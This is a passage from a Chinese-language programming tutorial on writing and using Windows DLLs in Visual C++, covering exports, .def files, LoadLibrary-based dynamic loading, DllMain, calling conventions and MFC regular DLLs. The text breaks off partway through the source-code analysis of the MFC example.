1、基礎概念
1.1 鏈接庫的概述
動態鏈接庫DLL(DynamicLinkable Library),你可以簡單的把它看成一種倉庫,它提供給你一些可以直接拿來用的變量、函數或類。在庫的發展史上經歷了“無庫-靜態鏈接庫-動態鏈接庫”的時代。靜態鏈接庫與動態鏈接庫都是共享代碼的方式,如果采用靜態鏈接庫,則無論你願不願意,lib 中的指令都被直接包含在最終生成的EXE文件中了。但是若使用DLL,該DLL不必被包含在最終EXE文件中,EXE文件執行時可以“動態”地引用和卸載這個與EXE獨立的DLL文件。靜態鏈接庫和動態鏈接庫的另外一個區別在於靜態鏈接庫中不能再包含其他的動態鏈接庫或者靜態庫,而在動態鏈接庫中還可以再包含其他的動態或靜態鏈接庫。
對動態鏈接庫,我們還需建立如下概念:
(1)DLL的編制與具體的編程語言及編譯器無關
只要遵循約定的DLL接口規范和調用方式,用各種語言編寫的DLL都可以相互調用。譬如Windows提供的系統DLL(其中包括了Windows的API),在任何開發環境中都能被調用,不在乎其是VisualBasic、VisualC++還是Delphi。
(2)動態鏈接庫隨處可見
我們在Windows目錄下的system32文件夾中會看到kernel32.dll、user32.dll和gdi32.dll,windows的大多數API都包含在這些DLL中。kernel32.dll中的函數主要處理內存管理和進程調度;user32.dll中的函數主要控制用戶界面;gdi32.dll中的函數則負責圖形方面的操作。一般的程序員都用過類似MessageBox的函數,其實它就包含在user32.dll這個動態鏈接庫中。由此可見DLL對我們來說其實並不陌生。
(3)VC 動態鏈接庫的分類
VisualC++支持三種DLL,它們分別是Non-MFCDLL(非MFC動態庫)、MFC RegularDLL(MFC規則DLL)、MFC Extension DLL(MFC擴展DLL)。
非MFC動態庫不采用MFC類庫結構,其導出函數為標准的C接口,能被非MFC或MFC編寫的應用程序所調用;MFC規則DLL包含一個繼承自CWinApp的類,但其無消息循環;
MFC擴展DLL采用MFC的動態鏈接版本創建,它只能被用MFC類庫所編寫的應用程序所調用。
1.2 靜態庫與動態庫的區別
靜態鏈接庫Lib(Static Link Library),是在編譯的鏈接階段將庫函數嵌入到應用程序的內部。如果系統中運行的多個應用程序都包含所用到的公共庫函數,則必然造成很大的浪費。這樣即增加了鏈接器的負擔,也增大了可執行程序的大小,還加大了內存的消耗。Lib的好處是應用程序可以獨立運行,而不需要在操作系統中另外安裝對應的DLL。
而DLL采用動態鏈接,對公用的庫函數,系統只有一個拷貝(一般是位於系統目錄的*.DLL文件),而且只有在應用程序真正調用時,才加載到內存。在內存中的庫函數,也只有一個拷貝,可供所有運行的程序調用。當再也沒有程序需要調用它時,系統會自動將其卸載,並釋放其所占用的內存空間。參見圖1。
圖1 靜態庫函數與動態鏈接庫的區別
DLL的缺點是應用程序不能獨立運行,需要在操作系統中另外安裝對應的DLL。例如,如果你的MFC項目被設置成“在共享DLL中使用MFC”的,則雖然生成的可執行程序很小,但是在其他沒有安裝Visual C++(運行環境)的機器上是不能直接運行的,需要另外安裝MFC的動態鏈接庫(如mfc90.dll)。
1.2 靜態鏈接庫
對靜態鏈接庫的講解不是本文的重點,但是在具體講解DLL之前,通過一個靜態鏈接庫的例子可以快速地幫助我們建立“庫”的概念。
圖2
圖3
如圖2和圖3,使用VC++2008工具新建一個名稱為StaticLib的靜態庫工程(Win32控制台應用程序或Win32項目均可),並新建lib.h 和lib.cpp 兩個文件,源代碼如下:
//文件:lib.h #ifndef _LIB_H_ #define _LIB_H_
extern"C" int add(int x,int y); //聲明為C編譯、連接方式的外部函數
#endif |
//文件:lib.cpp #include "stdafx.h" #include"lib.h"
int add(int x,int y) { return x+y; } |
圖4 生成的靜態庫文件
編譯這個工程就得到了一個.lib文件,這個文件就是一個函數庫,它提供了add的功能。將頭文件和.lib 文件提交給用戶后,用戶就可以直接使用其中的add函數了。
下面來看看怎么使用這個庫,在StaticLib 工程所在的工作區(解決方案)內新建一個libCall 工程。libCall 工程僅包含一個main.cpp文件,它演示了靜態鏈接庫的調用方法,其源代碼如下:
#include<stdio.h> #include"../StaticLib/lib.h" #pragma comment(lib, "../debug/StaticLib.lib") //指定與靜態庫一起連接
int main(int argc,char*argv[]) { printf("2 +3=%d",add(2,3)); return 0; } |
靜態鏈接庫的調用就是這么簡單,或許我們每天都在用,可是我們沒有明白這個概念。代碼中#pragmacomment(lib ,"..\debug\\StaticLib.lib")的意思是指本文件生成的.obj文件應與StaticLib.lib 一起鏈接。如果不用#pragma comment指定,則可以直接在VC++中設置,如圖5和6,依次選擇配置屬性->鏈接器->輸入->附加依賴項,填入庫文件路徑和文件名。
圖5 設置連接的lib庫名稱
圖6 設置鏈接的lib庫所在的目錄
這個例子讓我們了解到:
(1)編寫庫的程序和編寫一般的程序區別不大,只是庫不能單獨執行;
(2)庫提供一些可以給別的程序調用的東西,別的程序要調用它必須以某種方式指明它要調用之。
1.3 庫的調試與查看
由於庫文件不能單獨執行,因而在按下F5(開始debug模式執行)或CTRL+F5(運行)執行時,其彈出如圖7所示的對話框,要求用戶輸入可執行文件的路徑來啟動庫函數的執行(如圖7),或者在屬性中設置可執行文件的路徑(如圖8)。這個時候我們輸入要調用該庫的EXE文件的路徑就可以對庫進行調試了,其調試技巧與一般應用工程的調試一樣。
圖7 選擇可執行文件
圖8 在屬性中設置可執行的文件路徑
通常有比上述做法更好的調試途徑,那就是將庫工程和應用工程(調用庫的工程)放置在同一VC工作區,只對應用工程進行調試,在應用工程調用庫中函數的語句處設置斷點,執行后按下F11,這樣就單步進入了庫中的函數。第1.2節中的StaticLib 和LibCall工程就放在了同一工作區,其工程結構如圖9所示。
圖9 把庫工程和調用庫的工程放入同一工作區進行調試
上述調試方法對靜態鏈接庫和動態鏈接庫而言是一致的。動態鏈接庫中的導出接口可以使用Visual C++的Depends工具進行查看,讓我們用Depends打開系統目錄中的user32.dll,看到了幾個版本的MessageBox了!
圖10 用Depends查看user32.dll
1.3 MFC DLL的類型
使用MFC編寫的DLL,可以分成兩大類:
l 規則DLL——規則(regular)DLL中所包含的函數,可以被所有Windows應用程序使用;
n 共享MFC——DLL中不包含MFC庫函數,需要另外安裝MFC動態鏈接庫后才能使用;
n 靜態MFC——DLL中包含MFC庫函數,可以脫離MFC動態鏈接庫獨立使用。
l 擴展DLL——擴展(extension)DLL中所定義的類和函數,只能被MFC應用程序使用。而且擴展DLL中不能包含MFC庫函數,也需要另外安裝MFC動態鏈接庫后才能使用。
2、非MFC的DLL編寫
2.1 一個簡單的DLL
第1.3節給出了以靜態鏈接庫方式提供add函數接口的方法,接下來我們來看看怎樣用動態鏈接庫實現一個同樣功能的add函數。
圖11 新建DLL工程
如圖11,在VC++中新建一個Win32的DllTest(注意左側樹里不要選擇MFC,因為后面將講述基於MFC的動態鏈接庫),在建立的工程中添加lib.h 及lib.cpp 文件,源代碼如下:
/* 文件名:lib.h */ #ifndef _LIB_H_ #define _LIB_H_
#ifdef DLLTEST_EXPORTS //在DllTest工程的預處理中定義 #define LIB_API extern "C" __declspec(dllexport) #else #define LIB_API extern "C" __declspec(dllimport) #endif
LIB_API int add(int x,int y);
#endif/*_LIB_H_*/ |
/* 文件名:lib.cpp */ #include"lib.h"
int add(int x,int y) { return x+y; } |
分析上述代碼,DllTest工程中的lib.cpp 文件與第1.3節靜態鏈接庫版本完全相同,不同在於lib.h 對函數add的聲明前面添加了LIB_API宏的定義。當DLLTEST_EXPORTS這個宏有定義時,這個語句的含義是聲明函數add為DLL的extern"C" __declspec(dllexport)導出函數,否則為extern"C" __declspec(dllimport)導入函數。當我們在DllTest工程中添加.h和.cpp文件的時候,VC會自動在編譯的“預處理器”中添加*_EXPORTS的定義,其中*為工程名稱,如圖12,這樣在DllTest工程內時,add就被定義成導出函數了,當lib.h文件給調用者使用時,由於調用者的工程中沒有該宏的定義,所以它的add函數就被定義成了導入函數。
圖12 *_EXPORTS宏的定義位置
DLL內的函數分為兩種:
(1)DLL導出函數,可供應用程序調用;
(2)DLL內部函數(非導出),只能在DLL程序使用,應用程序無法調用它們。
2.2 DLL導出函數
DLL中導出函數的聲明有兩種方式:一種為2.1節例子中給出的在函數聲明中加上__declspec(dllexport),這里不再舉例說明;另外一種方式是采用模塊定義(.def) 文件聲明,.def文件為鏈接器提供了有關被鏈接程序的導出、屬性及其他方面的信息。
下面的代碼演示了怎樣同.def文件將函數add聲明為DLL導出函數(需在DllTest工程中添加lib.def文件):
; lib.def : 導出DLL函數 LIBRARY DllTest EXPORTS add @ 1 |
.def文件的規則為:
(1)LIBRARY語句說明.def文件相應的DLL;
(2)EXPORTS語句后列出要導出函數的名稱。可以在.def文件中的導出函數名后加@n,表示要導出函數的序號為n(在后面進行顯示函數調用時,這個序號將發揮其作用);
(3).def 文件中的注釋由每個注釋行開始處的分號(;) 指定,且注釋不能與語句共享一行。
由此可以看出,例子中lib.def文件的含義為生成名為“DllTest”的動態鏈接庫,導出其中的add函數,並指定add函數的序號為1。
2.3 DLL的調用方式
動態鏈接庫的調用方式包括兩種:隱式調用和顯式調用兩種。下面一一說來。
2.3.1 隱式調用(靜態調用)
隱式調用也被稱為靜態調用,是由編譯系統完成對DLL的加載和應用程序結束時DLL的卸載。當調用某DLL的應用程序結束時,若系統中還有其它程序使用該DLL,則Windows對DLL的應用記錄減1,直到所有使用該DLL的程序都結束時才釋放它。靜態調用方式同靜態鏈接庫的調用方式相同,特點是簡單實用,但不如動態調用方式靈活。
下面我們來看看靜態調用的例子,添加一個DllCall工程,並執行下列代碼:
// main.cpp : 定義控制台應用程序的入口點。 #include "stdafx.h" #include <stdio.h> #include "../DllTest/lib.h"
#pragma comment(lib,"../Debug/DllTest.lib")
int main(int argc,char*argv[]) { int result =add(2,3); printf("%d",result); return 0; } |
注意:在DLLCall工程中沒有對DLLTEST_EXPORTS宏的定義,故add在lib.h頭文件中已經被定義稱為了extern"C" __declspec(dllimport)導入函數。
2.3.2 顯式調用(動態調用)
顯式調用是指使用由“LoadLibrary-GetProcAddress-FreeLibrary”系統API提供的三位一體“DLL加載-DLL函數地址獲取-DLL釋放”方式,這種調用方式也被稱為DLL的動態調用。動態調用方式的特點是完全由編程者用API函數加載和卸載DLL,程序員可以決定DLL文件何時加載或不加載,顯式鏈接在運行時決定加載哪個DLL文件。
下面的代碼展示了動態調用DLL中的函數add,其源代碼如下:
// main.cpp : 定義控制台應用程序的入口點。 #include "stdafx.h" #include<stdio.h> #include<windows.h> typedef int(*lpAddFun)(int, int); //宏定義函數指針類型
int main(int argc,char*argv[]) { HINSTANCE hDll;//DLL句柄 lpAddFun addFun;//函數指針
hDll=LoadLibrary("../Debug/DllTest.dll"); if (hDll != NULL) { addFun=(lpAddFun)GetProcAddress(hDll, "add"); if (addFun!= NULL) { int result =addFun(2,3); printf("%d",result); } FreeLibrary(hDll); }
return 0; } |
注意:這里需要指定DLL文件的路徑。
2.3.3放置DLL的目錄
為了使需要動態鏈接庫的應用程序可以運行,需要將DLL文件放在操作系統能夠找到的地方。Windows操作系統查找DLL的目錄順序為:
1. 所在目錄——當前進程的可執行模塊所在的目錄,即應用程序的可執行文件(*.exe)所在的目錄。
2. 當前目錄——進程的當前目錄。
3. 系統目錄——Windows操作系統安裝目錄的系統子目錄,如C:\Windows\ System32。可用GetSystemDirectory函數檢索此目錄的路徑。
4. Windows目錄——Windows操作系統安裝目錄,如C:\Windows\。可用GetWindowsDirectory函數檢索此目錄的路徑。
5. 搜索目錄——PATH環境變量中所包含的自動搜索路徑目錄,一般包含C:\Windows\和C:\Windows\System32\等目錄。可在命令行用Path命令來查看和設置,也可以通過(在“我的電腦”右鍵菜單中選“屬性”菜單項)“系統屬性”中的環境變量,來查看或編輯“Path”系統變量和“PATH”用戶變量。
2.3.4 調用方式總結
由上述代碼可以看出,靜態調用方式的順利進行需要完成兩個動作:
(1)告訴編譯器與DLL相對應的.lib文件所在的路徑及文件名,#pragmacomment(lib,"../Debug/DllTest.lib")就是起這個作用。
程序員在建立一個DLL文件時,連接器會自動為其生成一個對應的.lib文件,該文件包含了DLL導出函數的符號名及序號(並不含有實際的代碼)。在應用程序里,.lib文件將作為DLL的替代文件參與編譯。
(2)聲明導入函數,extern"C" __declspec(dllimport) add(intx,inty)語句中的__declspec(dllimport)發揮這個作用,這里是在lib.h文件中的LIB_API宏的定義來實現的。
靜態調用方式不再需要使用系統API來加載、卸載DLL以及獲取DLL中導出函數的地址。這是因為,當程序員通過靜態鏈接方式編譯生成應用程序時,應用程序中調用的與.lib文件中導出符號相匹配的函數符號將進入到生成的EXE文件中,.lib文件中所包含的與之對應的DLL文件的文件名也被編譯器存儲在EXE文件內部。當應用程序運行過程中需要加載DLL文件時,Windows將根據這些信息發現並加載DLL,然后通過符號名實現對DLL函數的動態鏈接。這樣,EXE將能直接通過函數名調用DLL的輸出函數,就像調用程序內部的其他函數一樣。
2.4 DllMain函數
Windows在加載DLL的時候,需要一個入口函數,就如同控制台或DOS程序需要main函數、WIN32程序需要WinMain函數一樣。在前面的例子中,DLL並沒有提供DllMain函數,應用工程也能成功引用DLL,這是因為Windows在找不到DllMain的時候,系統會從其它運行庫中引入一個不做任何操作的缺省DllMain函數版本,並不意味着DLL可以放棄DllMain函數。
根據編寫規范,Windows必須查找並執行DLL里的DllMain函數作為加載DLL的依據,它使得DLL得以保留在內存里。這個函數並不屬於導出函數,而是DLL的內部函數。這意味着不能直接在應用工程中引用DllMain函數,DllMain是自動被調用的。
我們來看一個DllMain函數的例子:
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved) { switch(ul_reason_for_call) { case DLL_PROCESS_ATTACH: printf("process attach of dll\n "); break; case DLL_THREAD_ATTACH: printf("thread attach of dll\n "); break; case DLL_THREAD_DETACH: printf("thread detach of dll\n "); break; case DLL_PROCESS_DETACH: printf("process detach of dll\n "); break; } return TRUE; } |
DllMain函數在DLL被加載和卸載時被調用,在單個線程啟動和終止時,DLLMain函數也被調用,
ul_reason_for_call指明了被調用的原因。原因共有4種,即PROCESS_ATTACH、PROCESS_DETACH、
THREAD_ATTACH和THREAD_DETACH,以switch語句列出。來仔細解讀一下DllMain的函數頭BOOLAPIENTRY DllMain(HANDLE hModule,WORD ul_reason_for_call,LPVOID lpReserved ):
(1) APIENTRY被定義為__stdcall,它意味着這個函數以標准Pascal的方式進行調用,也就是WINAPI方式;
(2) 進程中的每個DLL模塊被全局唯一的32字節的HINSTANCE句柄標識,只有在特定的進程內部有效,句柄代表了DLL模塊在進程虛擬空間中的起始地址。在Win32中,HINSTANCE和HMODULE的值是相同的,這兩種類型可以替換使用,這就是函數參數hModule的來歷。
(3) 執行下列代碼:
hDll=LoadLibrary("..\\Debug\\dllTest.dll");
if (hDll != NULL)
{
addFun=(lpAddFun)GetProcAddress(hDll, MAKEINTRESOURCE(1));
//MAKEINTRESOURCE直接使用導出文件中的序號
if (addFun!= NULL)
{
int result =addFun(2,3);
printf("\ncall add in dll:%d",result);
}
FreeLibrary(hDll);
}
我們看到輸出順序為:
process attach of dll
call add in dll:5
process detach of dll
這一輸出順序驗證了DllMain被調用的時機。
代碼中的GetProcAddress(hDll,MAKEINTRESOURCE(1) )值得留意,它直接通過.def文件中為add函數指定的順序號訪問add函數,具體體現在MAKEINTRESOURCE( 1),MAKEINTRESOURCE是一個通過序號獲取函數名的宏,定義為(節選自winuser.h):
#defineMAKEINTRESOURCEA(i)(LPSTR)((DWORD)((WORD)(i)))
#defineMAKEINTRESOURCEW(i)(LPWSTR)((DWORD)((WORD)(i)))
#ifdefUNICODE
#defineMAKEINTRESOURCE MAKEINTRESOURCEW
#else
#defineMAKEINTRESOURCE MAKEINTRESOURCEA
2.4 __stdcall約定
如果通過VC++編寫的DLL欲被其他語言編寫的程序調用,應將函數的調用方式聲明為__stdcall方式,WINAPI都采用這種方式,而C/C++缺省的調用方式卻為__cdecl。__stdcall方式與__cdecl對函數名最終生成符號的方式不同。若采用C編譯方式(在C++中需將函數聲明為extern"C"),__stdcall調用約定在輸出函數名前面加下划線,后面加“@”符號和參數的字節數,形如_functionname@number;而__cdecl調用約定僅在輸出函數名前面加下划線,形如_functionname。Windows編程中常見的幾種函數類型聲明宏都是與__stdcall和__cdecl有關的(節選自windef.h):
#define CALLBACK__stdcal l//這就是傳說中的回調函數
#define WINAPI__stdcall //這就是傳說中的WINAPI
#define WINAPIV__cdecl
#define APIENTRY WINAPI //DllMain的入口就在這里
#define APIPRIVATE __stdcall
#define PASCAL __stdcall
在lib.h 中,應這樣聲明add函數:
int __stdcall add(int x,int y);
在應用工程中函數指針類型應定義為:
typedef int(__stdcall *lpAddFun)(int,int);
若在lib.h 中將函數聲明為__stdcall調用,而應用工程中仍使用typedefint (*lpAddFun)(int,int),運行時將發生錯誤(因為類型不匹配,在應用工程中仍然是缺省的__cdecl調用),彈出如圖12所示的對話框。
圖13調用約定不匹配時的運行錯誤
圖13中的那段話實際上已經給出了錯誤的原因,即“This is usually are result of …”。
2.5 DLL導出變量
DLL定義的全局變量可以被調用進程訪問;DLL也可以訪問調用進程的全局數據,我們來看看在應用工程中引用DLL中變量的例子。
/* 文件名:lib.h */ #ifndef _LIB_H_ #define _LIB_H_
extern int dllGlobalVar;
#endif /*_LIB_H_*/ |
/* 文件名:lib.cpp */ #include"lib.h" #include<windows.h> int dllGlobalVar;
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved) { switch(ul_reason_for_call) { case DLL_PROCESS_ATTACH: dllGlobalVar=100;//在dll被加載時,賦全局變量為100 break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } |
;文件名:lib.def,在DLL中導出變量 LIBRARY "DllTest" EXPORTS dllGlobalVar DATA ;或dllGlobalVar CONSTANT |
從lib.h 和lib.cpp 中可以看出,全局變量在DLL中的定義和使用方法與一般的程序設計是一樣的。若要導出某全局變量,我們需要在.def文件的EXPORTS后添加:
變量名 CONSTANT //過時的方法
或
變量名 DATA //VC++提示的新方法
在主函數中引用DLL中定義的全局變量:
#include<stdio.h>
#pragmacomment(lib,"DllTest.lib") extern int dllGlobalVar;
int main(intargc,char*argv[]) { printf("%d", *(int*)dllGlobalVar); *(int*)dllGlobalVar=1; printf("%d", *(int*)dllGlobalVar); return 0; } |
特別要注意的是用extern int dllGlobalVar聲明所導入的並不是DLL中全局變量本身,而是其地址,應用程序必須通過強制指針轉換來使用DLL中的全局變量。這一點,從*(int*)dllGlobalVar可以看出。因此在采用這種方式引用DLL全局變量時,千萬不要進行這樣的賦值操作:
dllGlobalVar=1;
其結果是dllGlobalVar指針的內容發生變化,程序中以后再也引用不到DLL中的全局變量了。在應用工程中引用DLL中全局變量的一個更好方法是:
#include<stdio.h>
#pragma comment(lib,"DllTest.lib") extern int _declspec(dllimport) dllGlobalVar; //用_declspec(dllimport)導入
int main(intvargc,char*vargv[]) { printf("%d", dllGlobalVar); dllGlobalVar=1; //這里就可以直接使用, 無須進行強制指針轉換 printf("%d", dllGlobalVar); return 0; } |
通過_declspec(dllimport)方式導入的就是DLL中全局變量本身而不再是其地址了,故建議采用如下的頭文件定義方式:
/* 文件名:lib.h */ #ifndef _LIB_H_ #define _LIB_H_
#ifdef DLLTEST_EXPORTS #define LIB_API extern "C" __declspec(dllexport) #else #define LIB_API extern "C" __declspec(dllimport) #endif
LIB_API int dllGlobalVar;
#endif/*_LIB_H_*/ |
2.6 DLL導出類
DLL中定義的類可以在應用工程中使用。下面的例子里,我們在DLL中定義了point類,並在應用工程中引用了它。
/*Point.h文件:類Point的聲明*/ #ifndef _POINT_H_ #define _POINT_H_
#ifdef DLLTEST_EXPORTS #define CLASS_EXPORT __declspec(dllexport) #else #define CLASS_EXPORT __declspec(dllimport) #endif /*DLLTEST_EXPORTS*/
class CLASS_EXPORT Point { public: float y; float x;
public: Point(void); ~Point(void);
Point(float xx,float yy); };
#endif /*_POINT_H_*/ |
/*Point.cpp類的實現文件*/ #include "Point.h"
Point::Point(void) :x(0.),y(0.) { }
Point::~Point(void) { }
Point::Point(float xx,float yy) :x(xx),y(yy) { } |
類在工程中的使用,添加一個DllCall工程,寫入如下代碼:
// main.cpp : 定義控制台應用程序的入口點。 #include "stdafx.h" #include <stdio.h> #include "../DllTest/Point.h"
#pragma comment(lib,"../Debug/DllTest.lib")
int main(int argc,char*argv[]) { Point p(1,2); printf("p.x=%f,p.y=%f\n",p.x,p.y);
return 0; } |
從上述源代碼可以看出,由於在Point.h文件代碼中定義了宏DLLTEST_EXPORTS,故CLASS_EXPORT被定義為_declspec(dllexport),所以在DLL的類聲明實際上為:
class _declspec(dllexport) point //導出類point
{
…
}
而在應用工程DllCall中沒有定義DLLTEST_EXPORTS,故CLASS_EXPORT被定義為__declspec(dllimport),所以DLL中引入的類聲明為:
class _declspec(dllimport) point //導入類point
{
…
}
不錯,正是通過DLL中的
class _declspec(dllexport) class_name //導出類point
{
…
}
與應用程序中的
class _declspec(dllimport) class_name //導入類
{
…
}
匹對來完成類的導出和導入的!
2.7 DLL總結
由上述可見,應用工程中幾乎可以看到DLL中的一切,包括函數、變量以及類,這就是DLL所要提供的強大能力。只要DLL釋放這些接口,應用程序使用它就將如同使用本工程中的程序一樣!
3、MFC規則DLL編寫
3.1 MFC規則DLL概述
使用MFC編寫的規則DLL,雖然只能導出函數而不能導出整個類,但是其導出的函數卻可以其他被非MFC應用程序所調用。下面我們仍通過上面的四則運算的例子,看看如何用關鍵字__declspec(dllexport)和extern "C"來編寫和使用導出若干(全局)C函數的規則MFC DLL。
MFC規則DLL的概念體現在兩方面:
(1)它是MFC的
“是MFC的”意味着可以在這種DLL的內部使用MFC;
(2)它是規則的
“是規則的”意味着它不同於MFC擴展DLL,在MFC規則DLL的內部雖然可以使用MFC,但是其與應用程序的接口不能是MFC。而MFC擴展DLL與應用程序的接口可以是MFC,可以從MFC擴展DLL中導出一個MFC類的派生類。
Regular DLL能夠被所有支持DLL技術的語言所編寫的應用程序調用,當然也包括使用MFC的應用程序。在這種動態連接庫中,包含一個從CWinApp繼承下來的類,DllMain函數則由MFC自動提供。
Regular DLL分為兩類:
(1)靜態鏈接到MFC的規則DLL
靜態鏈接到MFC的規則DLL與MFC庫(包括MFC擴展DLL)靜態鏈接,將MFC庫的代碼直接生成在.dll文件中。在調用這種DLL的接口時,MFC使用DLL的資源。因此,在靜態鏈接到MFC的規則DLL中不需要進行模塊狀態的切換。使用這種方法生成的規則DLL其程序較大,也可能包含重復的代碼。
(2)動態鏈接到MFC的規則DLL
動態鏈接到MFC的規則DLL可以和使用它的可執行文件同時動態鏈接到MFCDLL和任何MFC擴展DLL。在使用了MFC共享庫的時候,默認情況下,MFC使用主應用程序的資源句柄來加載資源模板。這樣,當DLL和應用程序中存在相同ID的資源時(即所謂的資源重復問題),系統可能不能獲得正確的資源。因此,對於共享MFCDLL的規則DLL,我們必須進行模塊切換以使得MFC能夠找到正確的資源模板。
我們可以在Visual C++中設置MFC規則DLL是靜態鏈接到MFC DLL還是動態鏈接到MFC DLL。如圖14。
圖14 鏈接到MFC的方式
3.2 MFC的DLL函數導出
使用MFC創建DLL時,從項目中導出(export)函數到DLL文件的方法有:
l 使用模塊定義文件(.def)。
l 使用__declspec(dllexport)關鍵字或其替代宏AFX_EXT_CLASS。
這兩種方法是互斥的,對每個函數只需用一種方法即可。另外,DEF文件只能用來導出函數,不能用於導出整個類。導出C++類,必須用__declspec(dllexport)關鍵字或其替代宏AFX_EXT_CLASS。
1.DEF文件
同2.2節,模塊定義(moduledefinition)文件(.def)是包含一個或多個描述DLL各種屬性的模塊語句的文本文件。DEF文件必須至少包含下列模塊定義語句:
l 文件中的第一個語句必須是LIBRARY語句。此語句將.def文件標識為屬於DLL。LIBRARY語句的后面是DLL的名稱(缺省為DLL項目名)。鏈接器將此名稱放到DLL的導入庫中。
l EXPORTS語句列出名稱,可能的話還會列出DLL導出函數的序號值。通過在函數名的后面加上@符和一個數字,給函數分配序號值。當指定序號值時,序號值的范圍必須是從1到N,其中N是DLL導出函數的個數。
即,DEF文件的格式為:(在這兩個語句之間,還可以加上可選的描述語句:DESCRIPTION "庫描述串"。分號;后的文本內容行為注釋)
; 庫名.def
LIBRARY 庫名
EXPORTS
函數名1 @1
函數名2 @2
……
函數名n @n
在使用MFC DLL向導創建MFC DLL項目時,VC會自動創建一個與項目同名但沒有任何函數導出項的DEF文件(項目名.def),格式為:
; 項目名.def : 聲明 DLL 的模塊參數。
LIBRARY "項目名"
EXPORTS
; 此處可以是顯式導出
例如,項目名為RegDll的DEF文件(RegDll.def)的內容為:
; RegDll.def : 聲明 DLL 的模塊參數。
LIBRARY "RegDll"
EXPORTS
; 此處可以是顯式導出
如果生成擴展DLL並使用.def文件導出,則將下列代碼放在包含導出類的頭文件的開頭和結尾:
#undef AFX_DATA
#define AFX_DATA AFX_EXT_DATA
// <你的頭文件體>
#undef AFX_DATA
#define AFX_DATA
這些代碼行確保內部使用的MFC變量或添加到類的變量是從擴展DLL導出(或導入)的。例如,當使用DECLARE_DYNAMIC派生類時,該宏擴展以將CRuntimeClass成員變量添加到類。省去這四行代碼可能會導致不能正確編譯或鏈接DLL,或在客戶端應用程序鏈接到DLL時導致錯誤。
當生成DLL時,鏈接器使用.def文件創建導出(.exp)文件和導入庫(.lib)文件。然后,鏈接器使用導出文件生成DLL文件。隱式鏈接到DLL的可執行文件在生成時鏈接到導入庫。請注意,MFC本身就是使用.def文件從MFCx0.dll導出函數和類的。
2.關鍵字或宏
除了使用DEF文件來導出函數外,還可以在源程序中使用__declspec(dllexport)關鍵字或其替代宏AFX_EXT_CLASS:
#define AFX_EXT_CLASS AFX_CLASS_EXPORT(定義在頭文件afxv_dll.h中)
#define AFX_CLASS_EXPORT __declspec(dllexport) (定義在頭文件afxver_.h中)
來導出函數和整個C++類。
具體的格式為:
l 導出整個類:
class AFX_EXT_CLASS 類名[ : public基類]
{
……
}
l 導出類的成員函數:
class 類名[ : public基類]
{
AFX_EXT_CLASS 返回類型 函數名1(……) ;
AFX_EXT_CLASS 返回類型 函數名2(……) ;
……
}
l 導出外部C格式的(全局)函數:
extern "C" __declspec(dllexport) 返回類型 函數名(……)
{
……
}
如果希望用MFC(C++)編寫的規則DLL中的函數,也能夠被非MFC程序來調用,需要為函數聲明指定extern "C"。不然,C++編譯器會使用C++類型安全命名約定(也稱作名稱修飾)和C++調用約定(使用此調用約定從C調用會很困難)。
為了使用方便,可以定義宏:
#define DllExport extern "C" __declspec(dllexport)
然后再使用它,例如:
DllExport int Add(int d1, int d2) {……}
3.3 MFC規則DLL的創建
我們來一步步講述使用MFC向導創建MFC規則DLL的過程。創建一個名為RegDll的規則DLL的“Visual C++”之“MFC”的“MFC DLL”項目,注意需選中“創建解決方案的目錄”復選框,參見圖15。
圖15 新建MFC DLL項目RegDll的對話框
按“確定”鈕,彈出“MFC DLL向導”對話框。在“DLL類型”欄中,選中“使用共享MFC DLL的規則DLL”單選鈕,參見圖16。按“完成”鈕,創建RegDll解決方案和項目。
圖16 選擇規則DLL的MFC DLL向導對話框
1區域處也可以選擇“帶靜態鏈接MFC的規則DLL”,差別是所生成的DLL中會包含MFC庫,當然所生成的庫文件也會大一些(但因此可不用另外安裝MFC動態鏈接庫)。例如,在此例中,選共享MFC所生成的RegDll.dll文件只有13KB大,而選擇靜態MFC的則有199KB。
規則DLL項目是使用共享MFC還是使用靜態MFC,也可以在生成DLL項目之后,通過項目屬性對話框的“配置屬性->常規”頁中的“MFC的使用”欄中的下拉式列表選項來切換,這一點與普通MFC應用程序項目的類似。
2區選擇是否支持automation(自動化)技術,automation允許用戶在一個應用程序中操縱另外一個應用程序或組件。例如,我們可以在應用程序中利用MicrosoftWord或MicrosoftExcel的工具,而這種使用對用戶而言是透明的。自動化技術可以大大簡化和加快應用程序的開發。
3區選擇是否支持Windows Sockets,當選擇此項目時,應用程序能在TCP/IP網絡上進行通信。CWinApp派生類的InitInstance 成員函數會初始化通訊端的支持,同時工程中的StdAfx.h文件會自動include <AfxSock.h>頭文件。添加socket通訊支持后的InitInstance成員函數如下:
BOOL CRegularDllApp::InitInstance()
{
if(!AfxSocketInit())
{
AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
returnFALSE;
}
returnTRUE;
}
3.4一個簡單的MFC規則DLL
這個DLL的例子(屬於靜態鏈接到MFC的規則DLL)中提供了一個如圖11所示的對話框。在DLL中添加對話框的方式與在MFC應用程序中是一樣的。在圖17所示DLL中的對話框的Hello按鈕上點擊時將MessageBox一個“Hello,您好”消息框。
圖17 示例
(1)在3.3節所建立的RegDll工程的資源視圖上,添加一個對話框資源,並在對話框上添加一個“hello”按鈕,如下圖所示:
圖18 新建資源窗口
(2)在窗口上鼠標右鍵,選擇“添加類“,在類名稱中輸入“CDllDialog”,如下圖:
圖19 添加窗口類
(3)添加“Hello”按鈕的雙擊響應事件。
void CDllDialog::OnBnClickedButton1() { // TODO: 在此添加控件通知處理程序代碼 MessageBox(_T("Hello,您好"),_T("提示信息")); } |
(4)編寫導出函數,注意這里的宏REGDLL_EXPORTS是在RegDll工程的預處理中定義的。
圖20 代碼
3.5 源代碼分析
第一組文件:CWinApp繼承類的聲明與實現
// RegDll.h : RegDll DLL 的主頭文件 // #pragma once
#ifndef __AFXWIN_H__ #error "在包含此文件之前包含“stdafx.h”以生成 PCH 文件" #endif
#include "resource.h" // 主符號
// CRegDllApp // 有關此類實現的信息,請參閱 RegDll.cpp //
class CRegDllApp : public CWinApp { public: CRegDllApp();
// 重寫 public: virtual BOOL InitInstance();
DECLARE_MESSAGE_MAP() }; |
// RegDll.cpp : 定義 DLL 的初始化例程。 // #include "stdafx.h" #include "RegDll.h"
#ifdef _DEBUG #define new DEBUG_NEW #endif
